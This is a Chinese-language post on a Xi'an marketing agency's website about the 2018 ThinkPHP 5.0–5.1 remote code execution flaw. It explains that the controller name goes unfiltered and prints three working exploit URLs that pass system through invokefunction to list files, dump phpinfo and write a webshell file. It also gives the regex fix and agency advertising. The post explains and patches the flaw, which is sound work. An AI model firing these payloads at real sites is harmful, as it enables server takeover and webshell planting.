新闻中心

xinwen
首页 > 新闻中心 > 正文内容

thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell

新闻中心西安百度公司2年前 (2018-12-19)968

 

THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。

 thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell 新闻中心 西安百度1张

关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图:

 thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell 新闻中心 西安百度2张

漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的原因就是正则的表达式写的不好,导致可以绕过。

在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致可以使用斜杠等特殊符号来远程代码注入。

我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是http://127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数,示例如下:

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:

 thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell 新闻中心 西安百度3张

通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看得到,构造如下代码即可。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

 thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell 新闻中心 西安百度4张

有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写入到safe.php文件里。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php

关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?替换之前的正规则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防护参数进行重新设置,使他符合当时的网站环境。如果不懂如何修复网站漏洞,也可以找专业的网站安全公司来处理,国内如Sinesafe和绿盟、启明星辰等安全公司比较专业.

针对于这个情况,我们要对其library/think/App.php代码里的正规则表达式进行更改,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

西安百度推广开户联系王尘宇电话:15002910771。


转载请注明出处http://94101.com/post/175.html

相关文章

LOGO设计 网 ,一分钟打造你的专属标志 !

LOGO设计 网 ,一分钟打造你的专属标志 !

  作为一个创业者,无论你是做微商,还是开一家餐馆、一家花店,当你要创建一个品牌,首先就要从设计一个品牌Logo开始。 但是,一个小小的Logo要做的满意可绝非易事,Logo往往代表着公司或品牌...

不懂SEO优化,如何用云指建站把网站排名做到百度首页

不懂SEO优化,如何用云指建站把网站排名做到百度首页

  公司没有专业的SEO人员,如何把网站优化做好呢?这确实是一件很头疼的事情! SEO是一项专业性非常强的工作,不懂SEO原理基本做不来,请个专业人才,每月工资基本过万,买个SEO优化系统,费用...

西安网站建设:网站建设一般需要多久?

西安网站建设:网站建设一般需要多久?

西安网站建设,西安网站建设需要多久网站一般开发周期为多久?这就跟建房子相同,民房、商品房、别墅、写字楼制造周期都存在差异。做网站也相同,要求有高有低,周期也肯定不一样总的来说,除了网站方案定制和网站后...

西安网站优化:网站优化价格是多少?seo收费标准是什么?

西安网站优化:网站优化价格是多少?seo收费标准是什么?

西安网站优化,西安SEO,西安SEO多少钱网站优化价格是多少?查找引擎优化收费规范是什么?既然这么多人想知道,今日就来说说网站优化的价格以及查找引擎优化的收费规范这些问题。首要,要说世人都很喜爱廉价的...

非常期待与您的又一次邂逅

西安百度推广,西安百度公司竞价开户托管